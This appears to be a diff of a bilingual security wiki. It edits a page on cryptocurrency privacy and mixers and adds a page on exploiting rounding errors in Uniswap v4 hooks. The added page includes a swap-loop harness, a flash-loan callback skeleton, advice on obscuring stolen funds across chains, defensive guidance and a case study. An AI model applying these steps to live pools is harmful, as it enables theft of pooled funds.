믹싱 서비스를 사용하면 사용자가 **비트코인을 보내고** **다른 비트코인을 받는** 방식으로 원래 소유자를 추적하기 어렵게 만듭니다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요합니다. 대안 믹싱 옵션으로는 비트코인 카지노가 있습니다.
|
||||
믹싱 서비스를 사용하면 사용자는 **비트코인을 보낼 수** 있고 **다른 비트코인을 되돌려받을 수** 있어 원소유자를 추적하기 어렵게 만든다. 그러나 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요하다. 대안 믹싱 옵션으로는 Bitcoin 카지노가 있다.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin**은 서로 다른 사용자로부터 여러 거래를 하나로 병합하여 입력과 출력을 일치시키려는 사람에게 과정을 복잡하게 만듭니다. 그 효과에도 불구하고, 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
CoinJoin은 서로 다른 사용자의 여러 거래를 하나로 합쳐 입력과 출력을 매칭하려는 시도를 어렵게 만든다. 그럼에도 불구하고 입력과 출력 크기가 고유한 거래는 여전히 추적될 수 있다.
|
||||
|
||||
CoinJoin을 사용했을 가능성이 있는 예시 거래는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 및 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`입니다.
|
||||
CoinJoin을 사용했을 수 있는 예시 거래에는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a`와 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`가 있다.
|
||||
|
||||
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 방문하세요. 이더리움에서 유사한 서비스는 [Tornado Cash](https://tornado.cash)로, 이는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
자세한 내용은 [CoinJoin](https://coinjoin.io/en)을 참조하라. Ethereum에서 유사한 서비스로는 채굴자의 자금으로 거래를 익명화하는 [Tornado Cash](https://tornado.cash)가 있다.
|
||||
|
||||
## PayJoin
|
||||
|
||||
CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 두 당사자(예: 고객과 상인) 간의 거래를 일반 거래처럼 위장하여 CoinJoin의 고유한 동등 출력 특성을 가지지 않습니다. 이는 탐지하기 매우 어렵게 만들며, 거래 감시 기관에서 사용하는 일반 입력 소유권 휴리스틱을 무효화할 수 있습니다.
|
||||
CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 고객과 상인 등 두 당사자 간의 거래를 일반 거래로 위장하여 CoinJoin 특유의 동일한 출력을 드러나지 않게 만든다. 이는 탐지를 매우 어렵게 하며, 트랜잭션 감시 기관이 사용하는 common-input-ownership 휴리스틱을 무효화할 수 있다.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
위와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별되지 않으면서 프라이버시를 향상시킵니다.
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
|
||||
**PayJoin의 활용은 전통적인 감시 방법에 상당한 혼란을 초래할 수 있으며**, 거래 프라이버시 추구에 있어 유망한 발전입니다.
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
|
||||
# 암호화폐에서 프라이버시를 위한 모범 사례
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
|
||||
## **지갑 동기화 기술**
|
||||
## **Wallet Synchronization Techniques**
|
||||
|
||||
프라이버시와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 두드러집니다:
|
||||
프라이버시와 보안을 유지하려면 지갑을 블록체인과 동기화하는 것이 중요합니다. 두 가지 방법이 특히 유용합니다:
|
||||
|
||||
- **풀 노드**: 전체 블록체인을 다운로드함으로써 풀 노드는 최대한의 프라이버시를 보장합니다. 지금까지 이루어진 모든 거래가 로컬에 저장되어, 적들이 사용자가 관심 있는 거래나 주소를 식별하는 것이 불가능합니다.
|
||||
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 모든 블록에 대한 필터를 생성하여 지갑이 특정 관심사를 네트워크 관찰자에게 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
|
||||
- **Full node**: 전체 블록체인을 다운로드함으로써 Full node는 최대한의 프라이버시를 보장합니다. 지금까지 발생한 모든 거래가 로컬에 저장되어 있어 공격자가 사용자가 어떤 거래나 주소에 관심이 있는지 식별하기 어렵습니다.
|
||||
- **Client-side block filtering**: 이 방법은 블록체인의 각 블록에 대한 필터를 생성하여 지갑이 네트워크 관찰자에게 특정 관심사를 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 라이트급 지갑은 이러한 필터만 다운로드하며, 사용자의 주소와 일치할 때만 전체 블록을 가져옵니다.
|
||||
|
||||
## **익명성을 위한 Tor 활용**
|
||||
## **Utilizing Tor for Anonymity**
|
||||
|
||||
비트코인이 P2P 네트워크에서 운영되기 때문에, 네트워크와 상호작용할 때 IP 주소를 숨기기 위해 Tor를 사용하는 것이 권장됩니다.
|
||||
Bitcoin이 P2P 네트워크에서 동작하기 때문에, Tor를 사용해 IP 주소를 은폐하는 것이 권장되며 네트워크와 상호작용할 때 프라이버시를 향상시킵니다.
|
||||
|
||||
## **주소 재사용 방지**
|
||||
## **Preventing Address Reuse**
|
||||
|
||||
프라이버시를 보호하기 위해서는 모든 거래에 대해 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 주체에 연결되어 프라이버시가 손상될 수 있습니다. 현대 지갑은 디자인을 통해 주소 재사용을 권장하지 않습니다.
|
||||
프라이버시를 보호하려면 거래마다 새 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 동일한 실체에 거래들이 연결되어 프라이버시가 손상될 수 있습니다. 최신 지갑은 설계상 주소 재사용을 권장하지 않습니다.
|
||||
|
||||
## **거래 프라이버시를 위한 전략**
|
||||
## **Strategies for Transaction Privacy**
|
||||
|
||||
- **다수의 거래**: 결제를 여러 거래로 나누면 거래 금액을 모호하게 하여 프라이버시 공격을 저지할 수 있습니다.
|
||||
- **거스름돈 회피**: 거스름돈 출력을 필요로 하지 않는 거래를 선택하면 거스름돈 탐지 방법을 방해하여 프라이버시를 향상시킵니다.
|
||||
- **다수의 거스름돈 출력**: 거스름돈을 피할 수 없는 경우, 여러 거스름돈 출력을 생성하는 것도 여전히 프라이버시를 개선할 수 있습니다.
|
||||
- **Multiple transactions**: 결제를 여러 거래로 분할하면 거래 금액을 불분명하게 만들어 프라이버시 공격을 방해할 수 있습니다.
|
||||
- **Change avoidance**: change outputs가 필요 없는 거래를 선택하면 change 탐지 기법을 교란시켜 프라이버시를 향상시킵니다.
|
||||
- **Multiple change outputs**: change 회피가 불가능한 경우 여러 개의 change outputs를 생성하는 것만으로도 프라이버시를 개선할 수 있습니다.
|
||||
|
||||
# **모네로: 익명의 등대**
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
|
||||
모네로는 디지털 거래에서 절대적인 익명성의 필요성을 다루며, 프라이버시의 높은 기준을 설정합니다.
|
||||
Monero는 디지털 거래에서 절대적인 익명성 요구를 해결하며 높은 수준의 프라이버시 기준을 제시합니다.
|
||||
|
||||
# **이더리움: 가스와 거래**
|
||||
# **Ethereum: Gas and Transactions**
|
||||
|
||||
## **가스 이해하기**
|
||||
## **Understanding Gas**
|
||||
|
||||
가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 거래는 가스 한도와 기본 수수료가 포함되며, 채굴자를 유인하기 위한 팁이 있습니다. 사용자는 초과 지불하지 않도록 최대 수수료를 설정할 수 있으며, 초과분은 환불됩니다.
|
||||
Gas는 Ethereum에서 연산을 실행하는 데 필요한 계산량을 측정하며, 가격 단위는 **gwei**입니다. 예를 들어 2,310,000 gwei(또는 0.00231 ETH) 비용이 드는 거래는 gas limit과 base fee를 포함하며, 채굴자 인센티브로 tip이 추가됩니다. 사용자는 초과 지불을 피하기 위해 max fee를 설정할 수 있으며, 남는 금액은 환불됩니다.
|
||||
|
||||
## **거래 실행하기**
|
||||
## **Executing Transactions**
|
||||
|
||||
이더리움의 거래는 발신자와 수신자가 포함되며, 이는 사용자 또는 스마트 계약 주소일 수 있습니다. 거래는 수수료가 필요하며 채굴되어야 합니다. 거래의 필수 정보에는 수신자, 발신자의 서명, 값, 선택적 데이터, 가스 한도 및 수수료가 포함됩니다. 특히, 발신자의 주소는 서명에서 유추되므로 거래 데이터에 포함할 필요가 없습니다.
|
||||
Ethereum의 거래는 송신자와 수신자를 포함하며, 수신자는 사용자 주소이거나 스마트 컨트랙트 주소일 수 있습니다. 거래는 수수료가 필요하고 채굴되어야 합니다. 거래에 포함되는 필수 정보로는 수신자, 송신자의 서명, 값(value), 선택적 데이터, gas limit, 그리고 수수료가 있습니다. 특히 송신자의 주소는 서명으로부터 유추되므로 거래 데이터에 별도로 포함될 필요가 없습니다.
|
||||
|
||||
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하며 암호화폐에 참여하고자 하는 모든 사람에게 기본적입니다.
|
||||
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하면서 암호화폐를 다루려는 누구에게나 기초가 됩니다.
|
||||
|
||||
## 참고 문헌
|
||||
## References
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
@ -179,4 +181,12 @@ CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 두 당사자(예: 고객과
|
||||
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
|
||||
|
||||
## DeFi/AMM Exploitation
|
||||
|
||||
If you are researching practical exploitation of DEXes and AMMs (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps), check:
|
||||
|
||||
{{#ref}}
|
||||
defi-amm-hook-precision.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,160 @@
|
||||
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 custom hooks로 코어 수학을 확장하는 Uniswap v4 스타일 DEX들에 대한 일련의 DeFi/AMM 공격 기법을 설명한다. 최근 Bunni V2 사고에서는 Liquidity Distribution Function (LDF)의 반올림/정밀도 결함을 이용해 각 스왑에서 공격자가 양(+)의 크레딧을 축적하고 유동성을 탈취할 수 있었다.
|
||||
|
||||
핵심 아이디어: 훅이 고정 소수점 연산, tick 반올림, 임계값 로직에 의존하는 추가 회계(accounting)를 구현하면, 공격자는 특정 임계값을 넘도록 가격을 정확히 이동시키는 exact‑input 스왑을 설계해 반올림 차이가 자신에게 유리하게 누적되도록 할 수 있다. 이 패턴을 반복하고 증식된 잔액을 인출하면 이익을 실현하며, 종종 flash loan으로 자금을 조달한다.
|
||||
|
||||
## Background: Uniswap v4 hooks and swap flow
|
||||
|
||||
- Hooks는 PoolManager가 특정 생명주기 지점에서 호출하는 contracts이다(예: beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
|
||||
- Pools는 PoolKey에 hooks 주소로 초기화된다. non‑zero인 경우 PoolManager는 관련된 모든 작업에서 콜백을 호출한다.
|
||||
- 코어 수학은 sqrtPriceX96에 대해 Q64.96 같은 fixed‑point 포맷과 1.0001^tick을 사용하는 tick 산술을 사용한다. 그 위에 추가된 모든 custom math는 불변성 드리프트를 피하기 위해 반올림 의미론을 정확히 맞춰야 한다.
|
||||
- Swaps는 exactInput 또는 exactOutput일 수 있다. v3/v4에서 가격은 ticks를 따라 움직이고, tick 경계를 넘으면 범위 유동성이 활성화/비활성화될 수 있다. Hooks는 임계값/틱 교차에서 추가 로직을 구현할 수 있다.
|
||||
|
||||
## Vulnerability archetype: threshold‑crossing precision/rounding drift
|
||||
|
||||
custom hooks에서 흔한 취약 패턴:
|
||||
|
||||
1. 훅이 per‑swap 유동성 또는 잔액 델타를 integer division, mulDiv, 또는 fixed‑point 변환(예: token ↔ liquidity 변환에 sqrtPrice와 tick ranges 사용)으로 계산한다.
|
||||
2. 임계값 로직(예: 리밸런싱, 단계별 재분배, 또는 범위별 활성화)이 스왑 크기나 가격 이동이 내부 경계를 넘을 때 트리거된다.
|
||||
3. 전진 계산과 정산 경로 사이에 반올림이 일관되게 적용되지 않는다(예: 0으로 절단(truncation toward zero), floor 대 ceil). 작은 불일치가 상쇄되지 않고 대신 호출자에게 크레딧으로 귀속된다.
|
||||
4. 임계값을 가로지르도록 정밀하게 조정된 exact‑input 스왑은 양(+)의 반올림 잔여분을 반복적으로 수확한다. 공격자는 이후 축적된 크레딧을 인출한다.
|
||||
|
||||
Attack preconditions
|
||||
- 각 스왑에서 추가 연산을 수행하는 custom v4 hook을 사용하는 풀(예: LDF/rebalancer).
|
||||
- 임계값 교차에서 스왑 시작자에게 반올림 이익을 주는 적어도 하나의 실행 경로.
|
||||
- 많은 수의 스왑을 원자적으로 반복할 수 있는 능력(flash loans는 임시 유동성 제공과 가스 분산에 이상적).
|
||||
|
||||
## Practical attack methodology
|
||||
|
||||
1) Identify candidate pools with hooks
|
||||
- v4 pools를 열거하고 PoolKey.hooks != address(0)을 확인한다.
|
||||
- beforeSwap/afterSwap 같은 콜백과 custom rebalancing 메서드를 위해 hook bytecode/ABI를 검사한다.
|
||||
- 다음과 같은 수학을 찾는다: liquidity로 나누기, token과 liquidity 사이 변환, 또는 반올림을 포함한 BalanceDelta 집계 등.
|
||||
|
||||
2) Model the hook’s math and thresholds
|
||||
- 훅의 liquidity/redistribution 공식을 재현한다: 입력에는 일반적으로 sqrtPriceX96, tickLower/Upper, currentTick, fee tier, net liquidity 등이 포함된다.
|
||||
- 임계값/스텝 함수들을 매핑한다: ticks, 버킷 경계, 또는 LDF 분기점. 각 경계의 어느 쪽에서 델타가 반올림되는지 결정한다.
|
||||
- 어디에서 uint256/int256 간 캐스트가 일어나는지, SafeCast를 쓰는지, 또는 암묵적 floor를 가진 mulDiv를 사용하는지 식별한다.
|
||||
|
||||
3) Calibrate exact‑input swaps to cross boundaries
|
||||
- Foundry/Hardhat 시뮬레이션을 사용해 가격을 경계 바로 넘어가게 하고 훅의 분기를 트리거하기 위한 최소 Δin을 계산한다.
|
||||
- afterSwap 정산이 비용보다 호출자에게 더 많은 크레딧을 부여해 positive BalanceDelta 또는 훅 회계상 크레딧을 남기는지 검증한다.
|
||||
- 크레딧을 축적하기 위해 스왑을 반복한 뒤 훅의 withdrawal/settlement 경로를 호출한다.
|
||||
|
||||
Example Foundry‑style test harness (pseudocode)
|
||||
```solidity
|
||||
function test_precision_rounding_abuse() public {
|
||||
// 1) Arrange: set up pool with hook
|
||||
PoolKey memory key = PoolKey({
|
||||
currency0: USDC,
|
||||
currency1: USDT,
|
||||
fee: 500, // 0.05%
|
||||
tickSpacing: 10,
|
||||
hooks: address(bunniHook)
|
||||
});
|
||||
pm.initialize(key, initialSqrtPriceX96);
|
||||
|
||||
// 2) Determine a boundary‑crossing exactInput
|
||||
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
|
||||
|
||||
// 3) Loop swaps to accrue rounding credit
|
||||
for (uint i; i < N; ++i) {
|
||||
pm.swap(
|
||||
key,
|
||||
IPoolManager.SwapParams({
|
||||
zeroForOne: true,
|
||||
amountSpecified: int256(exactIn), // exactInput
|
||||
sqrtPriceLimitX96: 0 // allow tick crossing
|
||||
}),
|
||||
""
|
||||
);
|
||||
}
|
||||
|
||||
// 4) Realize inflated credit via hook‑exposed withdrawal
|
||||
bunniHook.withdrawCredits(msg.sender);
|
||||
}
|
||||
```
|
||||
exactInput 보정
|
||||
- 틱 스텝에 대한 ΔsqrtP 계산: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
|
||||
- v3/v4 공식을 사용해 Δin을 근사: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). 반올림 방향이 핵심 수학과 일치하는지 확인하세요.
|
||||
- 경계 주변에서 Δin을 ±1 wei만큼 조정해 hook이 당신에게 유리하게 반올림하는 분기를 찾으세요.
|
||||
|
||||
4) flash loans로 증폭하기
|
||||
- 원자적으로 여러 반복을 실행하기 위해 큰 명목액(예: 3M USDT 또는 2000 WETH)을 빌리세요.
|
||||
- 보정된 swap 루프를 실행한 다음, flash loan callback 내에서 출금하고 상환하세요.
|
||||
|
||||
Aave V3 flash loan skeleton
|
||||
```solidity
|
||||
function executeOperation(
|
||||
address[] calldata assets,
|
||||
uint256[] calldata amounts,
|
||||
uint256[] calldata premiums,
|
||||
address initiator,
|
||||
bytes calldata params
|
||||
) external returns (bool) {
|
||||
// run threshold‑crossing swap loop here
|
||||
for (uint i; i < N; ++i) {
|
||||
_exactInBoundaryCrossingSwap();
|
||||
}
|
||||
// realize credits / withdraw inflated balances
|
||||
bunniHook.withdrawCredits(address(this));
|
||||
// repay
|
||||
for (uint j; j < assets.length; ++j) {
|
||||
IERC20(assets[j]).approve(address(POOL), amounts[j] + premiums[j]);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
```
|
||||
5) Exit and cross‑chain replication
|
||||
- If hooks are deployed on multiple chains, repeat the same calibration per chain.
|
||||
- Bridge proceeds back to the target chain and optionally cycle via lending protocols to obfuscate flows.
|
||||
|
||||
## Common root causes in hook math
|
||||
|
||||
- Mixed rounding semantics: mulDiv floors while later paths effectively round up; or conversions between token/liquidity apply different rounding.
|
||||
- Tick alignment errors: using unrounded ticks in one path and tick‑spaced rounding in another.
|
||||
- BalanceDelta sign/overflow issues when converting between int256 and uint256 during settlement.
|
||||
- Precision loss in Q64.96 conversions (sqrtPriceX96) not mirrored in reverse mapping.
|
||||
- Accumulation pathways: per‑swap remainders tracked as credits that are withdrawable by the caller instead of being burned/zero‑sum.
|
||||
|
||||
## Defensive guidance
|
||||
|
||||
- Differential testing: mirror the hook’s math vs a reference implementation using high‑precision rational arithmetic and assert equality or bounded error that is always adversarial (never favorable to caller).
|
||||
- Invariant/property tests:
|
||||
- Sum of deltas (tokens, liquidity) across swap paths and hook adjustments must conserve value modulo fees.
|
||||
- No path should create positive net credit for the swap initiator over repeated exactInput iterations.
|
||||
- Threshold/tick boundary tests around ±1 wei inputs for both exactInput/exactOutput.
|
||||
- Rounding policy: centralize rounding helpers that always round against the user; eliminate inconsistent casts and implicit floors.
|
||||
- Settlement sinks: accumulate unavoidable rounding residue to protocol treasury or burn it; never attribute to msg.sender.
|
||||
- Rate‑limits/guardrails: minimum swap sizes for rebalancing triggers; disable rebalances if deltas are sub‑wei; sanity‑check deltas against expected ranges.
|
||||
- Review hook callbacks holistically: beforeSwap/afterSwap and before/after liquidity changes should agree on tick alignment and delta rounding.
|
||||
|
||||
## Case study: Bunni V2 (2025‑09‑02)
|
||||
|
||||
- Protocol: Bunni V2 (Uniswap v4 hook) with an LDF applied per swap to rebalance.
|
||||
- Root cause: rounding/precision error in LDF liquidity accounting during threshold‑crossing swaps; per‑swap discrepancies accrued as positive credits for the caller.
|
||||
- Ethereum leg: attacker took a ~3M USDT flash loan, performed calibrated exact‑input swaps on USDC/USDT to build credits, withdrew inflated balances, repaid, and routed funds via Aave.
|
||||
- UniChain leg: repeated the exploit with a 2000 WETH flash loan, siphoning ~1366 WETH and bridging to Ethereum.
|
||||
- Impact: ~USD 8.3M drained across chains. No user interaction required; entirely on‑chain.
|
||||
|
||||
## Hunting checklist
|
||||
|
||||
- Does the pool use a non‑zero hooks address? Which callbacks are enabled?
|
||||
- Are there per‑swap redistributions/rebalances using custom math? Any tick/threshold logic?
|
||||
- Where are divisions/mulDiv, Q64.96 conversions, or SafeCast used? Are rounding semantics globally consistent?
|
||||
- Can you construct Δin that barely crosses a boundary and yields a favorable rounding branch? Test both directions and both exactInput and exactOutput.
|
||||
- Does the hook track per‑caller credits or deltas that can be withdrawn later? Ensure residue is neutralized.
|
||||
|
||||
## References
|
||||
|
||||
- [Bunni V2 Exploit: $8.3M Drained via Liquidity Flaw (summary)](https://quillaudits.medium.com/bunni-v2-exploit-8-3m-drained-50acbdcd9e7b)
|
||||
- [Bunni V2 Exploit: Full Hack Analysis](https://www.quillaudits.com/blog/hack-analysis/bunni-v2-exploit)
|
||||
- [Uniswap v4 background (QuillAudits research)](https://www.quillaudits.com/research/uniswap-development)
|
||||
- [Liquidity mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/liquidity-mechanics-in-uniswap-v4-core)
|
||||
- [Swap mechanics in Uniswap v4 core](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/swap-mechanics-in-uniswap-v4-core)
|
||||
- [Uniswap v4 Hooks and Security Considerations](https://www.quillaudits.com/research/uniswap-development/uniswap-v4/uniswap-v4-hooks-and-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,182 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 개념
|
||||
|
||||
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개자 없이 계약 실행을 자동화합니다.
|
||||
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트 엔드와 투명하고 감사 가능한 백 엔드를 특징으로 합니다.
|
||||
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
|
||||
- **유틸리티 토큰**은 서비스에 대한 접근을 부여하고, **증권 토큰**은 자산 소유권을 나타냅니다.
|
||||
- **DeFi**는 탈중앙화 금융을 의미하며, 중앙 권한 없이 금융 서비스를 제공합니다.
|
||||
- **DEX**와 **DAO**는 각각 탈중앙화 거래 플랫폼과 탈중앙화 자율 조직을 의미합니다.
|
||||
|
||||
## 합의 메커니즘
|
||||
|
||||
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 검증을 보장합니다:
|
||||
|
||||
- **작업 증명 (PoW)**은 거래 검증을 위해 계산 능력에 의존합니다.
|
||||
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
|
||||
|
||||
## 비트코인 필수 사항
|
||||
|
||||
### 거래
|
||||
|
||||
비트코인 거래는 주소 간 자금을 전송하는 것을 포함합니다. 거래는 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 전송을 시작할 수 있습니다.
|
||||
|
||||
#### 주요 구성 요소:
|
||||
|
||||
- **다중 서명 거래**는 거래를 승인하기 위해 여러 서명이 필요합니다.
|
||||
- 거래는 **입력**(자금 출처), **출력**(목적지), **수수료**(채굴자에게 지급), 및 **스크립트**(거래 규칙)로 구성됩니다.
|
||||
|
||||
### 라이트닝 네트워크
|
||||
|
||||
비트코인의 확장성을 향상시키기 위해 여러 거래를 채널 내에서 허용하고, 최종 상태만 블록체인에 방송하는 것을 목표로 합니다.
|
||||
|
||||
## 비트코인 프라이버시 문제
|
||||
|
||||
**공통 입력 소유권** 및 **UTXO 변경 주소 탐지**와 같은 프라이버시 공격은 거래 패턴을 악용합니다. **믹서** 및 **코인조인**과 같은 전략은 사용자 간의 거래 링크를 모호하게 하여 익명성을 향상시킵니다.
|
||||
|
||||
## 비트코인을 익명으로 획득하기
|
||||
|
||||
현금 거래, 채굴 및 믹서를 사용하는 방법이 포함됩니다. **코인조인**은 여러 거래를 혼합하여 추적 가능성을 복잡하게 만들고, **페이조인**은 코인조인을 일반 거래로 위장하여 프라이버시를 높입니다.
|
||||
|
||||
# 비트코인 프라이버시 공격
|
||||
|
||||
# 비트코인 프라이버시 공격 요약
|
||||
|
||||
비트코인 세계에서 거래의 프라이버시와 사용자 익명성은 종종 우려의 대상입니다. 공격자가 비트코인 프라이버시를 침해할 수 있는 여러 일반적인 방법에 대한 간단한 개요입니다.
|
||||
|
||||
## **공통 입력 소유권 가정**
|
||||
|
||||
복잡성으로 인해 서로 다른 사용자의 입력이 단일 거래에 결합되는 경우는 일반적으로 드뭅니다. 따라서 **같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
|
||||
|
||||
## **UTXO 변경 주소 탐지**
|
||||
|
||||
UTXO, 즉 **사용되지 않은 거래 출력**은 거래에서 완전히 소진되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 가게 됩니다. 관찰자는 이 새로운 주소가 발신자에게 속한다고 가정하여 프라이버시를 침해할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
|
||||
이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 모호하게 하는 데 도움이 될 수 있습니다.
|
||||
|
||||
## **소셜 네트워크 및 포럼 노출**
|
||||
|
||||
사용자들은 때때로 자신의 비트코인 주소를 온라인에 공유하여 **주소와 소유자를 쉽게 연결할 수 있게 합니다**.
|
||||
|
||||
## **거래 그래프 분석**
|
||||
|
||||
거래는 그래프로 시각화될 수 있으며, 자금 흐름에 따라 사용자 간의 잠재적 연결을 드러냅니다.
|
||||
|
||||
## **불필요한 입력 휴리스틱 (최적 변경 휴리스틱)**
|
||||
|
||||
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 발신자에게 돌아가는 변경인지 추측하는 데 기반합니다.
|
||||
|
||||
### 예시
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
더 많은 입력을 추가하면 변경된 출력이 단일 입력보다 커지므로 휴리스틱을 혼란스럽게 할 수 있습니다.
|
||||
|
||||
## **강제 주소 재사용**
|
||||
|
||||
공격자는 이전에 사용된 주소로 소량을 보내어 수신자가 향후 거래에서 이를 다른 입력과 결합하기를 희망하며, 이를 통해 주소를 연결합니다.
|
||||
|
||||
### 올바른 지갑 동작
|
||||
|
||||
지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 하며, 이를 통해 개인 정보 유출을 방지해야 합니다.
|
||||
|
||||
## **기타 블록체인 분석 기술**
|
||||
|
||||
- **정확한 지불 금액:** 잔돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
|
||||
- **정수:** 거래에서 정수는 지불을 나타내며, 비정수 출력은 잔돈일 가능성이 높습니다.
|
||||
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 변경 주소를 식별할 수 있습니다.
|
||||
- **금액 및 시간 상관관계:** 거래 시간이나 금액을 공개하면 거래를 추적할 수 있습니다.
|
||||
|
||||
## **트래픽 분석**
|
||||
|
||||
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결할 수 있으며, 이는 사용자 개인 정보를 위협할 수 있습니다. 이는 특히 한 엔티티가 많은 비트코인 노드를 운영하는 경우에 해당하며, 거래 모니터링 능력을 향상시킵니다.
|
||||
|
||||
## 더 많은 정보
|
||||
|
||||
개인 정보 공격 및 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 방문하십시오.
|
||||
|
||||
# 익명 비트코인 거래
|
||||
|
||||
## 익명으로 비트코인을 얻는 방법
|
||||
|
||||
- **현금 거래**: 현금을 통해 비트코인을 획득합니다.
|
||||
- **현금 대안**: 기프트 카드를 구매하고 이를 온라인에서 비트코인으로 교환합니다.
|
||||
- **채굴**: 비트코인을 얻는 가장 개인적인 방법은 채굴이며, 특히 혼자서 할 때 그렇습니다. 채굴 풀은 채굴자의 IP 주소를 알 수 있습니다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **도난**: 이론적으로 비트코인을 훔치는 것은 익명으로 획득하는 또 다른 방법이 될 수 있지만, 이는 불법이며 권장되지 않습니다.
|
||||
|
||||
## 믹싱 서비스
|
||||
|
||||
믹싱 서비스를 사용하면 사용자가 **비트코인을 보내고** **다른 비트코인을 받는** 것이 가능하여 원래 소유자를 추적하기 어렵게 만듭니다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요합니다. 대안 믹싱 옵션으로는 비트코인 카지노가 있습니다.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin**은 서로 다른 사용자의 여러 거래를 하나로 병합하여 입력과 출력을 일치시키려는 사람에게 과정을 복잡하게 만듭니다. 그 효과에도 불구하고 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
|
||||
|
||||
CoinJoin을 사용했을 가능성이 있는 예시 거래는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` 및 `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`입니다.
|
||||
|
||||
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 방문하십시오. 이더리움에서 유사한 서비스는 [Tornado Cash](https://tornado.cash)로, 이는 채굴자의 자금으로 거래를 익명화합니다.
|
||||
|
||||
## PayJoin
|
||||
|
||||
